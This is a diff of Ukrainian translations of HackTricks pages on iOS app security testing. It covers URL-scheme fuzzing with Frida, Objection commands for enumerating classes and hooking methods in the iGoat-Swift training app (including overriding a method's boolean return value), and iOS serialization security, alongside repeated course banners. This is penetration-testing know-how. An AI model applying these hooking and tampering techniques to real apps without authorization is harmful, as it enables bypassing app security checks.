Методи, такі як `openURL:options:completionHandler:`, є важливими для відкриття URL-адрес для взаємодії з іншими додатками. Виявлення використання таких методів у вихідному коді додатка є ключовим для розуміння зовнішніх комунікацій.
|
||||
Методи, такі як `openURL:options:completionHandler:`, є критично важливими для відкриття URL для взаємодії з іншими додатками. Визначення використання таких методів у вихідному коді додатка є ключовим для розуміння зовнішніх комунікацій.
|
||||
|
||||
### Тестування застарілих методів
|
||||
|
||||
Обробка застарілих методів відкриття URL, таких як `application:handleOpenURL:` та `openURL:`, повинна бути виявлена та переглянута з точки зору наслідків для безпеки.
|
||||
Застарілі методи, що обробляють відкриття URL, такі як `application:handleOpenURL:` та `openURL:`, повинні бути виявлені та переглянуті на предмет безпекових наслідків.
|
||||
|
||||
### Fuzzing URL-схем
|
||||
### Фаззинг URL схем
|
||||
|
||||
Fuzzing URL-схем може виявити помилки корупції пам'яті. Інструменти, такі як [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/), можуть автоматизувати цей процес, відкриваючи URL-адреси з різними навантаженнями для моніторингу аварій, як це показано на прикладі маніпулювання URL-адресами у додатку iGoat-Swift:
|
||||
Фаззинг URL схем може виявити помилки корупції пам'яті. Інструменти, такі як [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/), можуть автоматизувати цей процес, відкриваючи URL з різними навантаженнями для моніторингу на предмет збоїв, що ілюструється маніпуляцією URL у додатку iGoat-Swift:
|
||||
```bash
|
||||
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
|
||||
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
|
||||
|
@ -74,19 +75,20 @@ Watching for crashes from iGoat...
|
|||
No logs were moved.
|
||||
Opened URL: iGoat://?contactNumber=0&message=0
|
||||
```
|
||||
## Посилання
|
||||
## References
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,32 @@
|
|||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Для цього розділу буде використано інструмент [**Objection**](https://github.com/sensepost/objection).\
|
||||
Почніть, отримавши сеанс Objection, виконавши щось на зразок:
|
||||
Почніть з отримання сесії objection, виконавши щось на зразок:
|
||||
```bash
|
||||
objection -d --gadget "iGoat-Swift" explore
|
||||
objection -d --gadget "OWASP.iGoat-Swift" explore
|
||||
```
|
||||
```markdown
|
||||
Ви також можете виконати `frida-ps -Uia`, щоб перевірити запущені процеси телефону.
|
||||
|
||||
# Базове перелічення додатка
|
||||
# Основна перерахунка програми
|
||||
|
||||
## Локальні шляхи додатка
|
||||
## Локальні шляхи програми
|
||||
|
||||
* `env`: Знайдіть шляхи, де зберігається додаток у пристрої
|
||||
* `env`: Знайдіть шляхи, де зберігається програма на пристрої
|
||||
|
||||
```bash
|
||||
env
|
||||
|
@ -39,9 +39,9 @@ DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A1
|
|||
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
|
||||
```
|
||||
|
||||
## Список пакунків, фреймворків та бібліотек
|
||||
## Список пакетів, фреймворків та бібліотек
|
||||
|
||||
* `ios bundles list_bundles`: Перелік пакунків додатка
|
||||
* `ios bundles list_bundles`: Список пакетів програми
|
||||
|
||||
```bash
|
||||
ios bundles list_bundles
|
||||
|
@ -50,7 +50,7 @@ Executable Bundle Version Path
|
|||
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
|
||||
```
|
||||
* `ios bundles list_frameworks`: Перелік зовнішніх фреймворків, використовуваних додатком
|
||||
* `ios bundles list_frameworks`: Список зовнішніх фреймворків, що використовуються програмою
|
||||
|
||||
```bash
|
||||
ios bundles list_frameworks
|
||||
|
@ -77,7 +77,7 @@ RNCClipboard org.cocoapods.RNCClipboard 1.
|
|||
react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework
|
||||
[..]
|
||||
```
|
||||
* `memory list modules`: Перелік завантажених модулів у пам'яті
|
||||
* `memory list modules`: Список завантажених модулів у пам'яті
|
||||
|
||||
```bash
|
||||
memory list modules
|
||||
|
@ -116,9 +116,10 @@ variable _ZTVN9couchbase6differ10BaseDifferE
|
|||
variable _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
|
||||
[..]
|
||||
```
|
||||
## Список класів додатка
|
||||
|
||||
* `ios hooking list classes`: Список класів додатка
|
||||
## Список класів програми
|
||||
|
||||
* `ios hooking list classes`: Список класів програми
|
||||
|
||||
```bash
|
||||
ios hooking list classes
|
||||
|
@ -136,7 +137,7 @@ AAAppleTVRequest
|
|||
AAAttestationSigner
|
||||
[...]
|
||||
```
|
||||
* `ios hooking search classes <search_term>`: Пошук класу, який містить рядок. Можна **шукати унікальний термін, пов'язаний з основним пакетом додатка**, щоб знайти основні класи додатка, як у прикладі:
|
||||
* `ios hooking search classes <search_term>`: Пошук класу, що містить рядок. Ви можете **шукати унікальний термін, пов'язаний з основним пакетом програми**, щоб знайти основні класи програми, як у прикладі:
|
||||
|
||||
```bash
|
||||
ios hooking search classes iGoat
|
||||
|
@ -156,7 +157,7 @@ iGoat_Swift.MemoryManagementVC
|
|||
|
||||
## Список методів класу
|
||||
|
||||
* `ios hooking list class_methods`: Список методів певного класу
|
||||
* `ios hooking list class_methods`: Список методів конкретного класу
|
||||
|
||||
```bash
|
||||
ios hooking list class_methods iGoat_Swift.RCreditInfo
|
||||
|
@ -170,7 +171,7 @@ ios hooking list class_methods iGoat_Swift.RCreditInfo
|
|||
- initWithValue:
|
||||
- setCardNumber:
|
||||
```
|
||||
* `ios hooking search methods <search_term>`: Пошук методу, який містить рядок
|
||||
* `ios hooking search methods <search_term>`: Пошук методу, що містить рядок
|
||||
|
||||
```bash
|
||||
ios hooking search methods cvv
|
||||
|
@ -187,35 +188,35 @@ ios hooking search methods cvv
|
|||
[iGoat_Swift.CloudMisconfigurationExerciseVC - setCvvTxtField:]
|
||||
```
|
||||
|
||||
# Основне хукінгу
|
||||
# Основне Хукання
|
||||
|
||||
Тепер, коли ви **перерахували класи та модулі**, використані додатком, ви, можливо, знайшли деякі **цікаві назви класів та методів**.
|
||||
Тепер, коли ви **перерахували класи та модулі**, що використовуються програмою, ви могли знайти деякі **цікаві назви класів і методів**.
|
||||
|
||||
## Хук всіх методів класу
|
||||
## Хукання всіх методів класу
|
||||
|
||||
* `ios hooking watch class <class_name>`: Хук всіх методів класу, виведення всіх початкових параметрів та результатів
|
||||
* `ios hooking watch class <class_name>`: Хукати всі методи класу, вивантажувати всі початкові параметри та повернення
|
||||
|
||||
```bash
|
||||
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
||||
```
|
||||
|
||||
## Хук одного методу
|
||||
## Хукання одного методу
|
||||
|
||||
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Хук конкретного методу класу з виведенням параметрів, стеку викликів та результатів методу при кожному виклику
|
||||
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Хукати конкретний метод класу, вивантажуючи параметри, трасування та повернення методу щоразу, коли його викликають
|
||||
|
||||
```bash
|
||||
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
|
||||
```
|
||||
|
||||
## Зміна логічного результату
|
||||
## Зміна логічного повернення
|
||||
|
||||
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Це зробить вибраний метод повертати вказаний булевий результат
|
||||
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Це змусить вибраний метод повертати вказане логічне значення
|
||||
|
||||
```bash
|
||||
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
|
||||
```
|
||||
|
||||
## Створення шаблону хукінгу
|
||||
## Генерація шаблону хукання
|
||||
|
||||
* `ios hooking generate simple <class_name>`:
|
||||
|
||||
|
@ -263,3 +264,19 @@ console.log('Leaving - setCvv:');
|
|||
},
|
||||
});
|
||||
```
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Хакінг:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Хакінг: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримка HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Експерт з червоної команди AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДТРИМКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Обробники протоколів WebView
|
||||
# WebView Протокольні обробники
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Code and more information in [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
|
||||
|
||||
## Серіалізація об'єктів в розробці iOS
|
||||
## Сериалізація об'єктів у розробці iOS
|
||||
|
||||
У iOS **серіалізація об'єктів** включає перетворення об'єктів в формат, який можна легко зберігати або передавати, а потім відновлювати їх з цього формату за потреби. Два основні протоколи, **`NSCoding`** та **`NSSecureCoding`**, сприяють цьому процесу для підкласів Objective-C або `NSObject`, дозволяючи серіалізувати об'єкти в **`NSData`**, формат, який обгортає байтові буфери.
|
||||
У iOS, **сериалізація об'єктів** передбачає перетворення об'єктів у формат, який можна легко зберігати або передавати, а потім відновлювати їх з цього формату за потреби. Два основні протоколи, **`NSCoding`** та **`NSSecureCoding`**, полегшують цей процес для Objective-C або підкласів `NSObject`, дозволяючи об'єктам бути серіалізованими в **`NSData`**, формат, який обгортає байтові буфери.
|
||||
|
||||
### Реалізація **`NSCoding`**
|
||||
Для реалізації `NSCoding` клас повинен успадкувати від `NSObject` або бути позначеним як `@objc`. Цей протокол вимагає реалізації двох методів для кодування та декодування екземплярних змінних:
|
||||
### **`NSCoding`** Реалізація
|
||||
Щоб реалізувати `NSCoding`, клас повинен успадковувати від `NSObject` або бути позначеним як `@objc`. Цей протокол вимагає реалізації двох методів для кодування та декодування змінних екземпляра:
|
||||
```swift
|
||||
class CustomPoint: NSObject, NSCoding {
|
||||
var x: Double = 0.0
|
||||
|
@ -36,8 +37,8 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
|
|||
}
|
||||
}
|
||||
```
|
||||
### **Підвищення безпеки за допомогою `NSSecureCoding`**
|
||||
Для зменшення вразливостей, де зловмисники вводять дані в уже створені об'єкти, **`NSSecureCoding`** пропонує покращений протокол. Класи, які відповідають `NSSecureCoding`, повинні перевіряти тип об'єктів під час декодування, забезпечуючи, що лише очікувані типи об'єктів будуть створені. Однак важливо зауважити, що хоча `NSSecureCoding` підвищує безпеку типів, воно не шифрує дані або не гарантує їх цілісність, що вимагає додаткових заходів для захисту конфіденційної інформації:
|
||||
### **Покращення безпеки з `NSSecureCoding`**
|
||||
Щоб зменшити вразливості, коли зловмисники впроваджують дані в уже створені об'єкти, **`NSSecureCoding`** пропонує покращений протокол. Класи, що відповідають `NSSecureCoding`, повинні перевіряти тип об'єктів під час декодування, забезпечуючи, що лише очікувані типи об'єктів створюються. Однак важливо зазначити, що хоча `NSSecureCoding` покращує безпеку типів, він не шифрує дані і не забезпечує їх цілісність, що вимагає додаткових заходів для захисту чутливої інформації:
|
||||
```swift
|
||||
static var supportsSecureCoding: Bool {
|
||||
return true
|
||||
|
@ -45,42 +46,42 @@ return true
|
|||
|
||||
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
||||
```
|
||||
## Архівування даних за допомогою `NSKeyedArchiver`
|
||||
`NSKeyedArchiver` та його аналог, `NSKeyedUnarchiver`, дозволяють кодувати об'єкти у файлі та пізніше отримувати їх. Цей механізм корисний для збереження об'єктів:
|
||||
## Data Archiving with `NSKeyedArchiver`
|
||||
`NSKeyedArchiver` та його аналог, `NSKeyedUnarchiver`, дозволяють кодувати об'єкти у файл і пізніше їх отримувати. Цей механізм корисний для збереження об'єктів:
|
||||
```swift
|
||||
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
|
||||
```
|
||||
### Використання `Codable` для спрощення серіалізації
|
||||
Протокол `Codable` у Swift поєднує `Decodable` та `Encodable`, сприяючи кодуванню та декодуванню об'єктів, таких як `String`, `Int`, `Double` і т.д., без додаткових зусиль:
|
||||
### Використання `Codable` для спрощеної серіалізації
|
||||
Протокол `Codable` у Swift поєднує `Decodable` та `Encodable`, полегшуючи кодування та декодування об'єктів, таких як `String`, `Int`, `Double` тощо, без додаткових зусиль:
|
||||
```swift
|
||||
struct CustomPointStruct: Codable {
|
||||
var x: Double
|
||||
var name: String
|
||||
}
|
||||
```
|
||||
Цей підхід підтримує просту серіалізацію до та з властивих списків та JSON, покращуючи обробку даних в додатках Swift.
|
||||
Цей підхід підтримує просту серіалізацію до та з властивісних списків і JSON, покращуючи обробку даних у Swift-додатках.
|
||||
|
||||
## Альтернативи кодування JSON та XML
|
||||
Поза вбудованою підтримкою, кілька сторонніх бібліотек пропонують можливості кодування/декодування JSON та XML, кожна з власними характеристиками продуктивності та врахуванням безпеки. Надзвичайно важливо ретельно вибирати ці бібліотеки, особливо для запобігання вразливостей, таких як атаки XXE (зовнішні сутності XML), налаштовуючи парсери для запобігання обробки зовнішніх сутностей.
|
||||
|
||||
### Врахування безпеки
|
||||
Під час серіалізації даних, особливо на файлову систему, важливо бути бджливими стосовно можливого включення чутливої інформації. Серіалізовані дані, якщо вони потраплять у руки зловмисників або будуть неправильно оброблені, можуть викласти додатки ризикам, таким як несанкціоновані дії або витік даних. Рекомендується шифрування та підписання серіалізованих даних для підвищення безпеки.
|
||||
Окрім нативної підтримки, кілька сторонніх бібліотек пропонують можливості кодування/декодування JSON та XML, кожна з яких має свої характеристики продуктивності та міркування безпеки. Важливо ретельно обирати ці бібліотеки, особливо для зменшення вразливостей, таких як атаки XXE (XML External Entities), налаштовуючи парсери для запобігання обробці зовнішніх сутностей.
|
||||
|
||||
### Міркування безпеки
|
||||
При серіалізації даних, особливо до файлової системи, важливо бути уважним до потенційного включення чутливої інформації. Серіалізовані дані, якщо їх перехопити або неправильно обробити, можуть піддати додатки ризикам, таким як несанкціоновані дії або витік даних. Рекомендується шифрування та підписування серіалізованих даних для підвищення безпеки.
|
||||
|
||||
## Посилання
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,78 +1,80 @@
|
|||
# iOS UIActivity Sharing
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
